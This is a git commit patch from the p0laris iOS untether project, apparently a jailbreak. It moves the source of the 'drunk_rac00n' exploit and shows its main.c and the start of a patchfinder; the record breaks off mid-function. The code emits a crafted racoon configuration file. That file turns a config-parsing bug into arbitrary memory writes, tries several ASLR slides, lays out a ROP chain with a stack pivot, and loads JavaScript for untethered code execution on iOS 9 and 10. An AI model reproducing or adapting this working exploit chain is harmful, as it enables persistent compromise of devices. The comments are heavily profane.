From 245a3831d7266913b0281bfa19058b59ac80818b Mon Sep 17 00:00:00 2001 From: spv420 Date: Sat, 23 Apr 2022 18:22:31 -0400 Subject: big b0i --- src/common.h | 17 - src/gen/common.h | 17 + src/gen/ip_tools.c | 24 ++ src/gen/ip_tools.h | 8 + src/gen/main.c | 509 ++++++++++++++++++++++++++++ src/gen/patchfinder.c | 805 ++++++++++++++++++++++++++++++++++++++++++++ src/gen/patchfinder.h | 14 + src/gen/shit.c | 32 ++ src/gen/shit.h | 6 + src/gen/stage0_primitives.c | 46 +++ src/gen/stage0_primitives.h | 10 + src/gen/stage1_primitives.c | 168 +++++++++ src/gen/stage1_primitives.h | 19 ++ src/gen/stage2.c | 404 ++++++++++++++++++++++ src/gen/stage2.h | 40 +++ src/ip_tools.c | 24 -- src/ip_tools.h | 8 - src/js/call.js | 52 +++ src/js/int64.js | 169 ++++++++++ src/js/libu8.js | 56 +++ src/js/main.js | 58 ++++ src/js/mem.js | 186 ++++++++++ src/js/str.js | 113 +++++++ src/js/utils.js | 78 +++++ src/main.c | 509 ---------------------------- src/patchfinder.c | 805 -------------------------------------------- src/patchfinder.h | 14 - src/shit.c | 32 -- src/shit.h | 6 - src/stage0_primitives.c | 46 --- src/stage0_primitives.h | 10 - src/stage1_primitives.c | 168 --------- src/stage1_primitives.h | 19 -- src/stage2.c | 404 ---------------------- src/stage2.h | 40 --- 35 files changed, 2814 insertions(+), 2102 deletions(-) delete mode 100644 src/common.h create mode 100644 src/gen/common.h create mode 100644 src/gen/ip_tools.c create mode 100644 src/gen/ip_tools.h create mode 100644 src/gen/main.c create mode 100644 src/gen/patchfinder.c create mode 100644 src/gen/patchfinder.h create mode 100644 src/gen/shit.c create mode 100644 src/gen/shit.h create mode 100644 src/gen/stage0_primitives.c create mode 100644 src/gen/stage0_primitives.h create mode 100644 src/gen/stage1_primitives.c create mode 100644 src/gen/stage1_primitives.h create mode 100644 src/gen/stage2.c create mode 100644 src/gen/stage2.h delete mode 100644 src/ip_tools.c delete mode 100644 src/ip_tools.h create mode 100644 src/js/call.js create mode 100644 src/js/int64.js create mode 100644 src/js/libu8.js create mode 100644 src/js/main.js create mode 100644 src/js/mem.js create mode 100644 src/js/str.js create mode 100644 src/js/utils.js delete mode 100644 src/main.c delete mode 100644 src/patchfinder.c delete mode 100644 src/patchfinder.h delete mode 100644 src/shit.c delete mode 100644 src/shit.h delete mode 100644 src/stage0_primitives.c delete mode 100644 src/stage0_primitives.h delete mode 100644 src/stage1_primitives.c delete mode 100644 src/stage1_primitives.h delete mode 100644 src/stage2.c delete mode 100644 src/stage2.h (limited to 'src') diff --git a/src/common.h b/src/common.h deleted file mode 100644 index 9550400..0000000 --- a/src/common.h +++ /dev/null @@ -1,17 +0,0 @@ -#ifndef COMMON_H -#define COMMON_H - -#include -#include - -struct racoon_offsets { - uint32_t dns4_offset; - uint32_t lc_conf_offset; - uint32_t stack_base; -}; - -extern char* fuck_memory_leaks; - -void* memmem(const void *l, size_t l_len, const void *s, size_t s_len); - -#endif diff --git a/src/gen/common.h b/src/gen/common.h new file mode 100644 index 0000000..9550400 --- /dev/null +++ b/src/gen/common.h @@ -0,0 +1,17 @@ +#ifndef COMMON_H +#define COMMON_H + +#include +#include + +struct racoon_offsets { + uint32_t dns4_offset; + uint32_t lc_conf_offset; + uint32_t stack_base; +}; + +extern char* fuck_memory_leaks; + +void* memmem(const void *l, size_t l_len, const void *s, size_t s_len); + +#endif diff --git a/src/gen/ip_tools.c b/src/gen/ip_tools.c new file mode 100644 index 0000000..6e36b64 --- /dev/null +++ b/src/gen/ip_tools.c @@ -0,0 +1,24 @@ +/* + * ip_tools + */ + +#include +#include +#include + +#include "ip_tools.h" + +char* uint32_t_to_ip(uint32_t val) { + uint8_t byte1 = (val >> 0) & 0xff; + uint8_t byte2 = (val >> 8) & 0xff; + uint8_t byte3 = (val >> 16) & 0xff; + uint8_t byte4 = (val >> 24) & 0xff; + char* ret = NULL; + + asprintf(&ret, "%u.%u.%u.%u", + byte1, + byte2, + byte3, + byte4); + return ret; +} \ No newline at end of file diff --git a/src/gen/ip_tools.h b/src/gen/ip_tools.h new file mode 100644 index 0000000..a011094 --- /dev/null +++ b/src/gen/ip_tools.h @@ -0,0 +1,8 @@ +#ifndef IP_TOOLS_H +#define IP_TOOLS_H + +#include + +char* uint32_t_to_ip(uint32_t val); + +#endif \ No newline at end of file diff --git a/src/gen/main.c b/src/gen/main.c new file mode 100644 index 0000000..3c8d513 --- /dev/null +++ b/src/gen/main.c @@ -0,0 +1,509 @@ +/* + * drunk_rac00n + * untethered code execution on iOS 9 and 10, by exploiting the rocky racoon + * config file bug. then ROP the shit out of racoon, and it remains to be seen + * what will be done after that. UPDATE THIS COMMENT!!! + */ + +#include +#include +#include +#include +#include + +#include "stage1_primitives.h" +#include "stage0_primitives.h" +#include "patchfinder.h" +#include "stage2.h" +#include "ip_tools.h" +#include "common.h" +#include "shit.h" + +uint32_t DNS4_OFFSET; +uint32_t LC_CONF_OFFSET; + +// https://opensource.apple.com/source/Libc/Libc-825.26/string/FreeBSD/memmem.c.auto.html +void * +memmem(const void *l, size_t l_len, const void *s, size_t s_len) +{ + register char *cur, *last; + const char *cl = (const char *)l; + const char *cs = (const char *)s; + + /* we need something to compare */ + if (l_len == 0 || s_len == 0) + return NULL; + + /* "s" must be smaller or equal to "l" */ + if (l_len < s_len) + return NULL; + + /* special case where s_len == 1 */ + if (s_len == 1) + return memchr(l, (int)*cs, l_len); + + /* the last position where its possible to find "s" in "l" */ + last = (char *)cl + l_len - s_len; + + for (cur = (char *)cl; cur <= last; cur++) + if (cur[0] == cs[0] && memcmp(cur, cs, s_len) == 0) + return cur; + + return NULL; +} + +char* fuck_memory_leaks = NULL; + +FILE* fp = NULL; + +void help(void) { + fprintf(stderr, + "usage: %s [-f /path/to/racoon] [-o /path/to/output/conf]\n", + getprogname()); +} + +void hexdump_to_stderr(void* what, size_t len, int cols, int col_split) { + uint8_t* new_what = (uint8_t*)what; + for (new_what = (uint8_t*)what; new_what < (what + len); new_what += (cols * col_split)) { + fprintf(stderr, "0x016%llx: ", new_what); + for (uint8_t* j = new_what; j < (new_what + (cols * col_split)); j += col_split) { + for (uint8_t* k = j; k < (j + col_split); k++) { + uint8_t val = *k; + if (new_what < (what + len)) { + fprintf(stderr, "%02x", val); + } else { + fprintf(stderr, " "); + } + } + + fprintf(stderr, " "); + } + + for (uint8_t* j = new_what; j < (new_what + (cols * col_split)); j++) { + uint8_t val = *j; + if (val < 0x20 || val >= 0x80) { + val = 0x2e; + } + + fprintf(stderr, "%c", val); + } + + fprintf(stderr, "\n"); + } +} + +void prim_hexdump_to_stderr(void* what, size_t len) { + for (uint8_t* new_what = (uint8_t*)what; new_what < (what + len); new_what++) { + fprintf(stderr, "%02x", *new_what); + } + + fprintf(stderr, "\n"); +} + +int main(int argc, + char* argv[]) { + uint8_t* buf = NULL; + size_t sz = -1; + char* bin_path = NULL; + char* js_path = NULL; + char* js_src = NULL; + FILE* bin = NULL; + FILE* js = NULL; + bool had_f = false; + bool had_j = false; + int c = -1; + + fp = stdout; + + fuck_memory_leaks = (char*)malloc(1048576); + + if (argc < 2) { + help(); + return -1; + } + + while ((c = getopt(argc, argv, "hf:o:j:")) != -1) { + switch (c) { + case 'o': + fp = fopen(optarg, "w"); + break; + case 'f': + bin_path = strdup(optarg); + had_f = true; + break; + case 'j': + js_path = strdup(optarg); + had_j = true; + break; + case 'h': + help(); + return -1; + default: + help(); + return -1; + } + } + + if (!bin_path) { +#if 0 + fprintf(stderr, + had_f ? "error: failed to open racoon binary...\n" + : "error: racoon binary unspecified.\n"); + return -1; +#endif + bin = fopen("/usr/sbin/racoon", "rb"); + } else { + bin = fopen(bin_path, "rb"); + } + + if (!had_j) { +#if 0 + fprintf(stderr, + had_j ? "error: failed to open JS code...\n" + : "error: JS code unspecified.\n"); + return -1; +#endif + js = fopen("lol.js", "rb"); + } else { + js = fopen(js_path, "rb"); + } + + fseek(js, 0L, SEEK_END); + sz = ftell(js); + rewind(js); + + js_src = (char*)malloc(sz); + fread(js_src, 1, sz, js); + + fseek(bin, 0L, SEEK_END); + sz = ftell(bin); + rewind(bin); + + buf = (uint8_t*)malloc(sz); + fread(buf, 1, sz, bin); + DNS4_OFFSET = find_dns4_offset(0, buf, sz); + LC_CONF_OFFSET = find_lc_conf_offset(0, buf, sz); + free(buf); + + fprintf(stderr, "we out here\n"); + + fprintf(fp, "# drunk_rac00n exploit by @__spv\n"); + fprintf(fp, "# this file is auto-generated by the p0laris untether,\n"); + fprintf(fp, "# do not edit or delete!!!\n"); + fprintf(fp, "# DNS4_OFFSET=0x%x\n", DNS4_OFFSET); + fprintf(fp, "# LC_CONF_OFFSET=0x%x\n", LC_CONF_OFFSET); + fprintf(fp, "# bin_path=\"%s\"\n", bin_path); + fprintf(fp, "# compiled on %s at %s by \"%s\", by %s in \"%s\"\n", + __DATE__, + __TIME__, + __VERSION__, + __WHOAMI__, + __PWD__); + fprintf(fp, "# - with love from spv <3\n"); + fprintf(fp, "\n"); + + uint32_t stack_base = 0x1c7738; // my shell setup +// uint32_t stack_base = 0x1c7c88; // my 4s shell setup +// uint32_t stack_base = 0x1c2e48; // my lldb +// uint32_t stack_base = 0x1c7d68; // btserver env +// uint32_t stack_base = 0x1c7dd8; // wifiFirmwareLoader env + uint32_t magic_trigger_addr = 0xb6074; + + uint32_t mov_r0_0_bx_lr = 0x8d3e | 1; + uint32_t pop_r4_to_r7_pc = 0x781a | 1; + uint32_t mov_r0 = 0xee40 | 1; + uint32_t puts_addr = 0x9ac54; + uint32_t blx_r5 = 0x13012 | 1; + uint32_t malloc_addr = 0x9abdc; + uint32_t mov_r1_r0 = 0x72f76 | 1; + uint32_t nop = 0x781a | 1; + uint32_t printf_addr = 0x9ac30; + uint32_t exit_addr = 0x9a9a8; + uint32_t str_r0_r4 = 0x85474 | 1; + uint32_t ldr_r0_r0 = 0x397dc | 1; + uint32_t add_r0_r1 = 0x75cca | 1; + uint32_t pivot_addr = 0x75f18 | 1; + uint32_t pivot_to = 0x100000; + uint32_t weird_r3 = 0x75a3c | 1; + uint32_t other_weird_r3 = 0x8806 | 1; + +#if 0 + fprintf(stderr, "PRE: mov_r0_0_bx_lr: 0x%08x\n", mov_r0_0_bx_lr); + fprintf(stderr, "PRE: pop_r4_to_r7_pc: 0x%08x\n", pop_r4_to_r7_pc); + + mov_r0_0_bx_lr = (get_offset_to_binary_of_bytes(buf, sz, (uint8_t*)"\x70\x47\x00\x20\x70\x47", 6) + 0x4002) | 1; + pop_r4_to_r7_pc = (get_offset_to_binary_of_bytes(buf, sz, (uint8_t*)"\x01\xb0\xf0\xbd", 4) + 0x4002) | 1; + mov_r0 = (get_offset_to_binary_of_bytes(buf, sz, (uint8_t*)"\x20\x46\xf0\xbd", 4) + 0x4000) | 1; +// puts_addr = + + fprintf(stderr, "POST: mov_r0_0_bx_lr: 0x%08x\n", mov_r0_0_bx_lr); + fprintf(stderr, "POST: pop_r4_to_r7_pc: 0x%08x\n", pop_r4_to_r7_pc); +#endif + +// fprintf(stderr, "0x%08x\n", find_printf_addr(0, buf, sz)); +// fprintf(stderr, "0x%08x\n", find_puts_addr(0, buf, sz)); + + uint32_t scprefcreate_lazy_offset = 0xb4140; + uint32_t scprefcreate_dsc_offset = 0xce2065; + + uint32_t we_out_here_addr = 0x1c5000; + uint32_t malloc_status_addr = 0x1c5100; + uint32_t dyld_status_addr = 0x1c5200; + uint32_t dyld_status2_addr = 0x1c5300; + uint32_t jsc_addr = 0x1c5400; + uint32_t dlopen_status_addr = 0x1c5500; + uint32_t dyld_shc_status_addr = 0x1c5600; + uint32_t reserve_addr = 0x1a0000; + uint32_t nulls_addr = 0x5000; + uint32_t time_addr = 0x1c5700; + uint32_t arg_addr = 0x1c5800; + +#if 0 + for (int blaze = 0x1c7700; blaze < 0x1c8000; blaze += 4) { + fprintf(fp, "%s", write32_slid(blaze, 0x41000000 | blaze)); + } + + fprintf(fp, + "%s", + write32_slid(magic_trigger_addr, + 0x13371337)); + + /* + * dummy statement to run inet_pton to attempt the trigger if correct + * slide + */ + fprintf(fp, + "mode_cfg{" + "dns41.1.1.1;" + "}"); + + /* + * bail if the slide is wrong + */ + fprintf(fp, + "%s\n", + write32_unslid(0x41414141, + 0x42424242)); +#endif + + fprintf(fp, "%s\n", write32_unslid(stack_base - 0x948, 0x41414141)); + fprintf(fp, "mode_cfg{dns41.1.1.1;}"); + +#if 0 +// fprintf(fp, +// "%s\n", +// write32_unslid(0x41414141, +// 0x42424242)); + uint32_t guessed_slide = 0x1000; + + for (uint32_t x = 0x1c7800; x < 0x1c8000; x += 4) { + fprintf(fp, "%s", write32_unslid(x + guessed_slide, 0x41000000 | x)); + } + + /* + * trigger if right slide + * + * this trigger is kinda magic to me, basically it's writing to some + * error or status variable that the YACC/bison internal shit uses or + * something, and writing some different val makes it think there was + * and error or some shit, idk + */ + fprintf(fp, + "%s", + write32_unslid(guessed_slide + magic_trigger_addr, + 0x13371337)); + + /* + * dummy statement to run inet_pton to attempt the trigger if correct + * slide + */ + fprintf(fp, + "mode_cfg{" + "dns41.1.1.1;" + "}"); + + /* + * bail if the slide is wrong + */ + fprintf(fp, + "%s\n", + write32_unslid(0x41414141, + 0x42424242)); +#endif + + fprintf(fp, + "%s", + writebuf_unslid(0x108000, + "var parent = new Uint8Array(0x100);" + "var child = new Uint8Array(0x100);" + " var fuck = new Array();" + " for (var i = 0; i < 0x200000; i++) {" + " fuck[i] = i;" + " }" + " delete fuck;" + "" + "//shitalloc();", + strlen("var parent = new Uint8Array(0x100);" + "var child = new Uint8Array(0x100);" + " var fuck = new Array();" + " for (var i = 0; i < 0x200000; i++) {" + " fuck[i] = i;" + " }" + " delete fuck;" + "" + "//shitalloc();") + 1)); + fprintf(fp, + "%s", + writebuf_unslid(0x10a000, + js_src, + strlen(js_src) + 1)); + + fprintf(fp, + "%s", + writebuf_unslid(0x109000, + "still alive\n", + strlen("still alive\n") + 1)); + + for (int slide = 0x1; slide <= 0x3; slide++) { + uint32_t base = slide << 12; + uint32_t slid_stack = stack_base + base; + + char* we_out_here_str = NULL; + asprintf(&we_out_here_str, + "[*] drunk_rac00n exploit by spv. aslr_slide=0x%x\n" + "[*] ROP 'til you die motherfuckers.", + slide); + + fprintf(fp, + "%s", + writebuf_unslid(base + we_out_here_addr, + we_out_here_str, + strlen(we_out_here_str) + 1)); + + fprintf(fp, + "%s", + writebuf_unslid(base + malloc_status_addr, + "[*] malloc(...)\t\t\t= %p\n", + strlen("[*] malloc(...)\t\t\t= %p\n") + 1)); + + fprintf(fp, + "%s", + writebuf_unslid(base + dyld_shc_status_addr, + "[*] dyld_shared_cache base\t= %p\n", + strlen("[*] dyld_shared_cache base\t= %p\n") + 1)); + fprintf(fp, + "%s", + writebuf_unslid(base + time_addr, + "[*] time\t\t\t= %d\n", + strlen("[*] time\t\t\t= %d\n") + 1)); + fprintf(fp, + "%s", + writebuf_unslid(base + arg_addr, + "/untether/p0laris", + strlen("/untether/p0laris") + 1)); + + rop_chain_shit chain_b0i = gen_rop_chain(base, + we_out_here_addr, + mov_r0, + puts_addr, + blx_r5, + nulls_addr, + malloc_addr, + mov_r1_r0, + nop, + malloc_status_addr, + printf_addr, + exit_addr, + str_r0_r4, + reserve_addr, + ldr_r0_r0, + add_r0_r1, + pivot_to + 0x10, + dyld_shc_status_addr, + scprefcreate_dsc_offset, + scprefcreate_lazy_offset, + weird_r3, + other_weird_r3); + +// prim_hexdump_to_stderr(chain_b0i->teh_chain, chain_b0i->chain_len); + + fprintf(fp, + "\n\n# rop_chain length %d bytes (0x%x bytes hex), ASLR slide=0x%x, slid_base=0x%x\n", + chain_b0i->chain_len, + chain_b0i->chain_len, + (slide), + (slide << 12) + 0x4000); + +#if 0 + for (int val = 0; val < (chain_b0i->chain_len / 4); val++) { + fprintf(fp, + "%s", + write32_unslid(slid_stack + (val * 4), + chain_b0i->teh_chain[val])); + } +#endif + + fprintf(fp, "%s", write32_unslid(slid_stack + 0x0, pivot_to)); + fprintf(fp, "%s", write32_unslid(slid_stack + 0x4, 0x41414141)); + fprintf(fp, "%s", write32_unslid(slid_stack + 0x8, 0x41414141)); + fprintf(fp, "%s", write32_unslid(slid_stack + 0xc, 0x41414141)); + fprintf(fp, "%s", write32_unslid(slid_stack + 0x10, base + pivot_addr)); + fprintf(fp, "%s", write32_unslid(pivot_to + 0x0, 0x41414141)); + fprintf(fp, "%s", write32_unslid(pivot_to + 0x4, 0x41414141)); + fprintf(fp, "%s", write32_unslid(pivot_to + 0x8, 0x41414141)); + fprintf(fp, "%s", write32_unslid(pivot_to + 0xc, base + nop)); + + /* + * use writebuf_unslid as it uses like 1/6th of the statements + */ + fprintf(fp, + "%s", + writebuf_unslid(pivot_to + 0x10, + (char*)chain_b0i->teh_chain, + chain_b0i->chain_len)); + +// prim_hexdump_to_stderr(chain_b0i->teh_chain, chain_b0i->chain_len); + + /* + * trigger if right slide + * + * this trigger is kinda magic to me, basically it's writing to some + * error or status variable that the YACC/bison internal shit uses or + * something, and writing some different val makes it think there was + * and error or some shit, idk + */ + fprintf(fp, + "%s", + write32_unslid(base + magic_trigger_addr, + 0x13371337)); + + /* + * dummy statement to run inet_pton to attempt the trigger if correct + * slide + */ + fprintf(fp, + "mode_cfg{" + "dns41.1.1.1;" + "}"); + + /* + * we don't need no memory leaks round these parts + */ + free(chain_b0i->teh_chain); + } + + /* + * bail if the slide is wrong + */ + fprintf(fp, + "%s\n", + write32_unslid(0x41414141, + 0x42424242)); + + free(js_src); + free(fuck_memory_leaks); + +// getc(stdin); + + return 0; +} diff --git a/src/gen/patchfinder.c b/src/gen/patchfinder.c new file mode 100644 index 0000000..7464d70 --- /dev/null +++ b/src/gen/patchfinder.c @@ -0,0 +1,805 @@ +/* + * fucking shit patchfinder that does garbage patchfinding for this shit fuck + * exploit + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "patchfinder.h" +#include "common.h" + +static uint32_t bit_range(uint32_t x, int start, int end) { + x = (x << (31 - start)) >> (31 - start); + x = (x >> end); + return x; +} + +static uint32_t ror(uint32_t x, int places) { + return (x >> places) | (x << (32 - places)); +} + +static int thumb_expand_imm_c(uint16_t imm12) { + if (bit_range(imm12, 11, 10) == 0) { + switch (bit_range(imm12, 9, 8)) { + case 0: + return bit_range(imm12, 7, 0); + case 1: + return (bit_range(imm12, 7, 0) << 16) | bit_range(imm12, 7, 0); + case 2: + return (bit_range(imm12, 7, 0) << 24) | (bit_range(imm12, 7, 0) << 8); + case 3: + return (bit_range(imm12, 7, 0) << 24) | (bit_range(imm12, 7, 0) << 16) | (bit_range(imm12, 7, 0) << 8) | bit_range(imm12, 7, 0); + default: + return 0; + } + } else { + uint32_t unrotated_value = 0x80 | bit_range(imm12, 6, 0); + return ror(unrotated_value, bit_range(imm12, 11, 7)); + } +} + +static int insn_is_32bit(uint16_t* i) { + return (*i & 0xe000) == 0xe000 && (*i & 0x1800) != 0x0; +} + +static int insn_is_bl(uint16_t* i) { + if ((*i & 0xf800) == 0xf000 && (*(i + 1) & 0xd000) == 0xd000) + return 1; + else if ((*i & 0xf800) == 0xf000 && (*(i + 1) & 0xd001) == 0xc000) + return 1; + else + return 0; +} + +static uint32_t insn_bl_imm32(uint16_t* i) { + uint16_t insn0 = *i; + uint16_t insn1 = *(i + 1); + uint32_t s = (insn0 >> 10) & 1; + uint32_t j1 = (insn1 >> 13) & 1; + uint32_t j2 = (insn1 >> 11) & 1; + uint32_t i1 = ~(j1 ^ s) & 1; + uint32_t i2 = ~(j2 ^ s) & 1; + uint32_t imm10 = insn0 & 0x3ff; + uint32_t imm11 = insn1 & 0x7ff; + uint32_t imm32 = (imm11 << 1) | (imm10 << 12) | (i2 << 22) | (i1 << 23) | (s ? 0xff000000 : 0); + return imm32; +} + +static int insn_is_b_conditional(uint16_t* i) { + return (*i & 0xF000) == 0xD000 && (*i & 0x0F00) != 0x0F00 && (*i & 0x0F00) != 0xE; +} + +static int insn_is_b_unconditional(uint16_t* i) { + if ((*i & 0xF800) == 0xE000) + return 1; + else if ((*i & 0xF800) == 0xF000 && (*(i + 1) & 0xD000) == 9) + return 1; + else + return 0; +} + +static int insn_is_ldr_literal(uint16_t* i) { + return (*i & 0xF800) == 0x4800 || (*i & 0xFF7F) == 0xF85F; +} + +static int insn_ldr_literal_rt(uint16_t* i) { + if ((*i & 0xF800) == 0x4800) + return (*i >> 8) & 7; + else if ((*i & 0xFF7F) == 0xF85F) + return (*(i + 1) >> 12) & 0xF; + else + return 0; +} + +static int insn_ldr_literal_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x4800) + return (*i & 0xF) << 2; + else if ((*i & 0xFF7F) == 0xF85F) + return (*(i + 1) & 0xFFF) * (((*i & 0x0800) == 0x0800) ? 1 : -1); + else + return 0; +} + +// TODO: More encodings +static int insn_is_ldr_imm(uint16_t* i) { + uint8_t opA = bit_range(*i, 15, 12); + uint8_t opB = bit_range(*i, 11, 9); + + return opA == 6 && (opB & 4) == 4; +} + +static int insn_ldr_imm_rt(uint16_t* i) { + return (*i & 7); +} + +static int insn_ldr_imm_rn(uint16_t* i) { + return ((*i >> 3) & 7); +} + +static int insn_ldr_imm_imm(uint16_t* i) { + return ((*i >> 6) & 0x1F); +} + +// TODO: More encodings +static int insn_is_ldrb_imm(uint16_t* i) { + return (*i & 0xF800) == 0x7800; +} + +static int insn_ldrb_imm_rt(uint16_t* i) { + return (*i & 7); +} + +static int insn_ldrb_imm_rn(uint16_t* i) { + return ((*i >> 3) & 7); +} + +static int insn_ldrb_imm_imm(uint16_t* i) { + return ((*i >> 6) & 0x1F); +} + +static int insn_is_ldr_reg(uint16_t* i) { + if ((*i & 0xFE00) == 0x5800) + return 1; + else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return 1; + else + return 0; +} + +static int insn_ldr_reg_rn(uint16_t* i) { + if ((*i & 0xFE00) == 0x5800) + return (*i >> 3) & 0x7; + else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return (*i & 0xF); + else + return 0; +} + +int insn_ldr_reg_rt(uint16_t* i) { + if ((*i & 0xFE00) == 0x5800) + return *i & 0x7; + else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return (*(i + 1) >> 12) & 0xF; + else + return 0; +} + +int insn_ldr_reg_rm(uint16_t* i) { + if ((*i & 0xFE00) == 0x5800) + return (*i >> 6) & 0x7; + else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return *(i + 1) & 0xF; + else + return 0; +} + +static int insn_ldr_reg_lsl(uint16_t* i) { + if ((*i & 0xFE00) == 0x5800) + return 0; + else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000) + return (*(i + 1) >> 4) & 0x3; + else + return 0; +} + +static int insn_is_add_reg(uint16_t* i) { + if ((*i & 0xFE00) == 0x1800) + return 1; + else if ((*i & 0xFF00) == 0x4400) + return 1; + else if ((*i & 0xFFE0) == 0xEB00) + return 1; + else + return 0; +} + +static int insn_add_reg_rd(uint16_t* i) { + if ((*i & 0xFE00) == 0x1800) + return (*i & 7); + else if ((*i & 0xFF00) == 0x4400) + return (*i & 7) | ((*i & 0x80) >> 4) ; + else if ((*i & 0xFFE0) == 0xEB00) + return (*(i + 1) >> 8) & 0xF; + else + return 0; +} + +static int insn_add_reg_rn(uint16_t* i) { + if ((*i & 0xFE00) == 0x1800) + return ((*i >> 3) & 7); + else if ((*i & 0xFF00) == 0x4400) + return (*i & 7) | ((*i & 0x80) >> 4) ; + else if ((*i & 0xFFE0) == 0xEB00) + return (*i & 0xF); + else + return 0; +} + +static int insn_add_reg_rm(uint16_t* i) { + if ((*i & 0xFE00) == 0x1800) + return (*i >> 6) & 7; + else if ((*i & 0xFF00) == 0x4400) + return (*i >> 3) & 0xF; + else if ((*i & 0xFFE0) == 0xEB00) + return *(i + 1) & 0xF; + else + return 0; +} + +static int insn_is_movt(uint16_t* i) { + return (*i & 0xFBF0) == 0xF2C0 && (*(i + 1) & 0x8000) == 0; +} + +static int insn_movt_rd(uint16_t* i) { + return (*(i + 1) >> 8) & 0xF; +} + +static int insn_movt_imm(uint16_t* i) { + return ((*i & 0xF) << 12) | ((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF); +} + +static int insn_is_mov_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x2000) + return 1; + else if ((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0) + return 1; + else if ((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0) + return 1; + else + return 0; +} + +static int insn_mov_imm_rd(uint16_t* i) { + if ((*i & 0xF800) == 0x2000) + return (*i >> 8) & 7; + else if ((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0) + return (*(i + 1) >> 8) & 0xF; + else if ((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0) + return (*(i + 1) >> 8) & 0xF; + else + return 0; +} + +static int insn_mov_imm_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x2000) + return *i & 0xF; + else if ((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0) + return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF)); + else if ((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0) + return ((*i & 0xF) << 12) | ((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF); + else + return 0; +} + +static int insn_is_cmp_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x2800) + return 1; + else if ((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00) + return 1; + else + return 0; +} + +static int insn_cmp_imm_rn(uint16_t* i) { + if ((*i & 0xF800) == 0x2800) + return (*i >> 8) & 7; + else if ((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00) + return *i & 0xF; + else + return 0; +} + +static int insn_cmp_imm_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x2800) + return *i & 0xFF; + else if ((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00) + return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF)); + else + return 0; +} + +static int insn_is_and_imm(uint16_t* i) { + return (*i & 0xFBE0) == 0xF000 && (*(i + 1) & 0x8000) == 0; +} + +static int insn_and_imm_rn(uint16_t* i) { + return *i & 0xF; +} + +static int insn_and_imm_rd(uint16_t* i) { + return (*(i + 1) >> 8) & 0xF; +} + +static int insn_and_imm_imm(uint16_t* i) { + return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF)); +} + +static int insn_is_push(uint16_t* i) { + if ((*i & 0xFE00) == 0xB400) + return 1; + else if (*i == 0xE92D) + return 1; + else if (*i == 0xF84D && (*(i + 1) & 0x0FFF) == 0x0D04) + return 1; + else + return 0; +} + +static int insn_push_registers(uint16_t* i) { + if ((*i & 0xFE00) == 0xB400) + return (*i & 0x00FF) | ((*i & 0x0100) << 6); + else if (*i == 0xE92D) + return *(i + 1); + else if (*i == 0xF84D && (*(i + 1) & 0x0FFF) == 0x0D04) + return 1 << ((*(i + 1) >> 12) & 0xF); + else + return 0; +} + +static int insn_is_preamble_push(uint16_t* i) { + return insn_is_push(i) && (insn_push_registers(i) & (1 << 14)) != 0; +} + +static int insn_is_str_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x6000) + return 1; + else if ((*i & 0xF800) == 0x9000) + return 1; + else if ((*i & 0xFFF0) == 0xF8C0) + return 1; + else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return 1; + else + return 0; +} + +static int insn_str_imm_postindexed(uint16_t* i) { + if ((*i & 0xF800) == 0x6000) + return 1; + else if ((*i & 0xF800) == 0x9000) + return 1; + else if ((*i & 0xFFF0) == 0xF8C0) + return 1; + else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*(i + 1) >> 10) & 1; + else + return 0; +} + +static int insn_str_imm_wback(uint16_t* i) { + if ((*i & 0xF800) == 0x6000) + return 0; + else if ((*i & 0xF800) == 0x9000) + return 0; + else if ((*i & 0xFFF0) == 0xF8C0) + return 0; + else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*(i + 1) >> 8) & 1; + else + return 0; +} + +static int insn_str_imm_imm(uint16_t* i) { + if ((*i & 0xF800) == 0x6000) + return (*i & 0x07C0) >> 4; + else if ((*i & 0xF800) == 0x9000) + return (*i & 0xFF) << 2; + else if ((*i & 0xFFF0) == 0xF8C0) + return (*(i + 1) & 0xFFF); + else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*(i + 1) & 0xFF); + else + return 0; +} + +static int insn_str_imm_rt(uint16_t* i) { + if ((*i & 0xF800) == 0x6000) + return (*i & 7); + else if ((*i & 0xF800) == 0x9000) + return (*i >> 8) & 7; + else if ((*i & 0xFFF0) == 0xF8C0) + return (*(i + 1) >> 12) & 0xF; + else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800) + return (*(i + 1) >> 12) & 0xF; + else + return 0; +} + +static int 